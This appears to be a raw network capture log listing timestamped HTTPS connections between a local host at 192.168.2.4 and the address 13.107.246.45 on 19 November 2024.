Nov 19, 2024 19:15:03.754829884 CET	443	49871	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:03.754926920 CET	49871	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:03.755177975 CET	49871	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:03.755206108 CET	443	49871	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:03.774775028 CET	443	49867	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:03.782478094 CET	49867	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:03.782531023 CET	443	49867	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:03.783391953 CET	49867	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:03.783406973 CET	443	49867	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:03.784358025 CET	443	49868	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:03.784626007 CET	443	49868	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:03.784694910 CET	49868	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:03.784785032 CET	49868	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:03.784805059 CET	443	49868	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:03.784817934 CET	49868	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:03.784825087 CET	443	49868	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:03.787458897 CET	49872	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:03.787518024 CET	443	49872	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:03.787631035 CET	49872	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:03.787791967 CET	49872	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:03.787823915 CET	443	49872	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:03.888602972 CET	443	49867	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:03.888674021 CET	443	49867	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:03.888890028 CET	49867	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:03.888967991 CET	49867	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:03.888967991 CET	49867	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:03.889007092 CET	443	49867	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:03.889030933 CET	443	49867	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:03.891841888 CET	49873	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:03.891900063 CET	443	49873	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:03.892004013 CET	49873	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:03.892198086 CET	49873	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:03.892231941 CET	443	49873	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:04.375801086 CET	443	49869	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:04.392678976 CET	49869	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:04.392757893 CET	443	49869	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:04.399763107 CET	49869	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:04.399785995 CET	443	49869	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:04.408910036 CET	443	49870	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:04.425380945 CET	49870	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:04.425411940 CET	443	49870	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:04.428950071 CET	49870	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:04.428960085 CET	443	49870	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:04.436517000 CET	443	49872	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:04.443098068 CET	49872	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:04.443191051 CET	443	49872	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:04.443836927 CET	443	49871	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:04.446743011 CET	49872	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:04.446759939 CET	443	49872	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:04.471448898 CET	49871	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:04.471477032 CET	443	49871	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:04.478399038 CET	49871	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:04.478420973 CET	443	49871	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:04.499030113 CET	443	49869	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:04.499098063 CET	443	49869	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:04.499245882 CET	49869	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:04.530227900 CET	443	49870	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:04.530308008 CET	443	49870	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:04.530390978 CET	49870	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:04.535522938 CET	49869	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:04.535593987 CET	443	49869	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:04.535654068 CET	49869	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:04.535675049 CET	443	49869	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:04.544395924 CET	443	49872	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:04.544524908 CET	443	49872	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:04.544616938 CET	49872	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:04.555960894 CET	443	49873	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:04.557408094 CET	49873	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:04.557477951 CET	443	49873	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:04.558060884 CET	49873	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:04.558078051 CET	443	49873	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:04.558667898 CET	49872	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:04.558744907 CET	443	49872	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:04.558787107 CET	49872	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:04.558806896 CET	443	49872	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:04.581290960 CET	49870	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:04.581320047 CET	443	49870	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:04.581338882 CET	49870	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:04.581346035 CET	443	49870	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:04.582453966 CET	443	49871	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:04.582518101 CET	443	49871	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:04.582566023 CET	49871	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:04.583132982 CET	49871	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:04.583162069 CET	443	49871	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:04.583178043 CET	49871	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:04.583188057 CET	443	49871	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:04.584417105 CET	49874	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:04.584467888 CET	443	49874	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:04.584783077 CET	49874	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:04.585393906 CET	49874	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:04.585414886 CET	443	49874	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:04.586066008 CET	49875	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:04.586153984 CET	443	49875	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:04.586335897 CET	49875	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:04.586436987 CET	49875	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:04.586472988 CET	443	49875	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:04.586592913 CET	49876	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:04.586628914 CET	443	49876	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:04.586684942 CET	49876	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:04.587165117 CET	49876	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:04.587188005 CET	443	49876	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:04.587300062 CET	49877	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:04.587337017 CET	443	49877	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:04.587393045 CET	49877	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:04.587531090 CET	49877	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:04.587542057 CET	443	49877	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:04.659955025 CET	443	49873	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:04.660141945 CET	443	49873	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:04.660227060 CET	49873	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:04.660455942 CET	49873	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:04.660455942 CET	49873	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:04.660502911 CET	443	49873	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:04.660527945 CET	443	49873	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:04.663522005 CET	49878	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:04.663624048 CET	443	49878	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:04.663749933 CET	49878	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:04.663957119 CET	49878	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:04.663994074 CET	443	49878	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:05.217107058 CET	443	49877	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:05.217602968 CET	49877	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:05.217634916 CET	443	49877	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:05.218291044 CET	49877	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:05.218297958 CET	443	49877	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:05.250449896 CET	443	49875	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:05.251059055 CET	49875	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:05.251099110 CET	443	49875	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:05.251538992 CET	49875	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:05.251545906 CET	443	49875	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:05.260152102 CET	443	49874	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:05.260680914 CET	49874	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:05.260710001 CET	443	49874	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:05.261168957 CET	49874	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:05.261173964 CET	443	49874	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:05.263256073 CET	443	49876	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:05.264040947 CET	49876	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:05.264091015 CET	443	49876	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:05.264616966 CET	49876	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:05.264632940 CET	443	49876	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:05.317516088 CET	443	49877	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:05.317604065 CET	443	49877	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:05.317800999 CET	49877	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:05.317838907 CET	49877	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:05.317857027 CET	443	49877	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:05.317883968 CET	49877	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:05.317890882 CET	443	49877	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:05.320636988 CET	49879	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:05.320664883 CET	443	49879	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:05.320753098 CET	49879	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:05.320867062 CET	49879	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:05.320875883 CET	443	49879	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:05.338179111 CET	443	49878	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:05.338627100 CET	49878	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:05.338664055 CET	443	49878	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:05.339167118 CET	49878	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:05.339196920 CET	443	49878	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:05.354299068 CET	443	49875	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:05.354377031 CET	443	49875	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:05.354449987 CET	49875	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:05.354588985 CET	49875	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:05.354617119 CET	443	49875	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:05.354633093 CET	49875	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:05.354641914 CET	443	49875	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:05.357423067 CET	49880	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:05.357464075 CET	443	49880	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:05.357536077 CET	49880	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:05.357728004 CET	49880	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:05.357739925 CET	443	49880	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:05.365592003 CET	443	49874	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:05.365675926 CET	443	49874	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:05.365772009 CET	49874	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:05.365900040 CET	49874	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:05.365900993 CET	49874	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:05.365947008 CET	443	49874	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:05.365976095 CET	443	49874	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:05.368623972 CET	49881	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:05.368679047 CET	443	49881	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:05.368881941 CET	49881	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:05.368956089 CET	443	49876	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:05.369050026 CET	49881	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:05.369064093 CET	443	49881	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:05.369153023 CET	443	49876	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:05.369219065 CET	49876	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:05.369307041 CET	49876	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:05.369307041 CET	49876	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:05.369354010 CET	443	49876	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:05.369389057 CET	443	49876	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:05.371510983 CET	49882	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:05.371521950 CET	443	49882	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:05.371592045 CET	49882	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:05.371695042 CET	49882	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:05.371706963 CET	443	49882	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:05.445347071 CET	443	49878	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:05.445425987 CET	443	49878	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:05.445676088 CET	49878	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:05.445776939 CET	49878	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:05.445776939 CET	49878	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:05.445831060 CET	443	49878	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:05.445859909 CET	443	49878	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:05.448735952 CET	49883	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:05.448791027 CET	443	49883	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:05.448930979 CET	49883	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:05.449050903 CET	49883	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:05.449067116 CET	443	49883	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:05.980123043 CET	443	49879	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:05.980670929 CET	49879	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:05.980703115 CET	443	49879	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:05.981177092 CET	49879	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:05.981184006 CET	443	49879	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:06.012474060 CET	443	49880	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:06.013099909 CET	49880	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:06.013124943 CET	443	49880	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:06.013678074 CET	49880	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:06.013684034 CET	443	49880	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:06.039047003 CET	443	49881	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:06.039627075 CET	49881	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:06.039645910 CET	443	49881	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:06.040066004 CET	49881	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:06.040074110 CET	443	49881	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:06.047915936 CET	443	49882	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:06.048505068 CET	49882	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:06.048515081 CET	443	49882	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:06.048938036 CET	49882	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:06.048942089 CET	443	49882	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:06.090420961 CET	443	49879	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:06.090502977 CET	443	49879	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:06.090568066 CET	49879	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:06.090949059 CET	49879	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:06.090969086 CET	443	49879	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:06.090990067 CET	49879	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:06.090996981 CET	443	49879	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:06.094014883 CET	49884	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:06.094055891 CET	443	49884	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:06.094134092 CET	49884	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:06.094295979 CET	49884	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:06.094305992 CET	443	49884	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:06.107734919 CET	443	49883	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:06.108450890 CET	49883	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:06.108464003 CET	443	49883	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:06.108695984 CET	49883	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:06.108700991 CET	443	49883	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:06.144670010 CET	443	49880	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:06.144742012 CET	443	49880	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:06.144911051 CET	49880	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:06.145024061 CET	49880	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:06.145024061 CET	49880	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:06.145040035 CET	443	49880	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:06.145050049 CET	443	49880	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:06.147834063 CET	49885	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:06.147875071 CET	443	49885	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:06.147981882 CET	49885	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:06.148119926 CET	49885	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:06.148133993 CET	443	49885	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:06.151379108 CET	443	49882	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:06.151459932 CET	443	49882	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:06.151586056 CET	49882	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:06.151586056 CET	49882	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:06.151622057 CET	49882	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:06.151638985 CET	443	49882	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:06.153723001 CET	49886	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:06.153753042 CET	443	49886	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:06.153815985 CET	49886	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:06.153978109 CET	49886	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:06.153990030 CET	443	49886	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:06.165126085 CET	443	49881	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:06.165280104 CET	443	49881	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:06.165405989 CET	49881	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:06.165405989 CET	49881	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:06.165405989 CET	49881	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:06.167495966 CET	49887	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:06.167510986 CET	443	49887	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:06.167668104 CET	49887	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:06.167668104 CET	49887	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:06.167685986 CET	443	49887	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:06.209980965 CET	443	49883	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:06.210052013 CET	443	49883	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:06.210376978 CET	49883	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:06.210376978 CET	49883	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:06.210377932 CET	49883	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:06.212996006 CET	49888	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:06.213041067 CET	443	49888	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:06.213202000 CET	49888	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:06.213349104 CET	49888	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:06.213372946 CET	443	49888	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:06.388125896 CET	49881	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:06.388154984 CET	443	49881	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:06.438726902 CET	49883	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:06.438760042 CET	443	49883	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:06.766030073 CET	443	49884	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:06.767187119 CET	49884	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:06.767201900 CET	443	49884	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:06.767836094 CET	49884	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:06.767841101 CET	443	49884	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:06.791173935 CET	443	49886	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:06.791515112 CET	49886	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:06.791529894 CET	443	49886	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:06.791963100 CET	49886	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:06.791969061 CET	443	49886	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:06.799943924 CET	443	49885	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:06.800280094 CET	49885	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:06.800301075 CET	443	49885	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:06.800685883 CET	49885	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:06.800690889 CET	443	49885	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:06.827502012 CET	443	49887	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:06.827861071 CET	49887	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:06.827876091 CET	443	49887	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:06.828337908 CET	49887	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:06.828344107 CET	443	49887	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:06.871376991 CET	443	49884	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:06.871439934 CET	443	49884	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:06.871685028 CET	49884	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:06.871711016 CET	49884	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:06.871725082 CET	443	49884	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:06.871736050 CET	49884	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:06.871742010 CET	443	49884	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:06.874368906 CET	49889	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:06.874469042 CET	443	49889	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:06.874561071 CET	49889	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:06.874716043 CET	49889	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:06.874736071 CET	443	49889	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:06.891421080 CET	443	49886	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:06.891504049 CET	443	49886	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:06.891587019 CET	49886	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:06.891706944 CET	443	49888	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:06.891762018 CET	49886	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:06.891762018 CET	49886	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:06.891774893 CET	443	49886	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:06.891778946 CET	443	49886	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:06.892147064 CET	49888	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:06.892210007 CET	443	49888	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:06.892556906 CET	49888	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:06.892573118 CET	443	49888	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:06.894922972 CET	49890	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:06.894987106 CET	443	49890	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:06.895077944 CET	49890	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:06.895220041 CET	49890	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:06.895252943 CET	443	49890	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:06.901094913 CET	443	49885	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:06.901272058 CET	443	49885	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:06.901345968 CET	49885	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:06.901345968 CET	49885	443	192.168.2.4	13.107.246.45
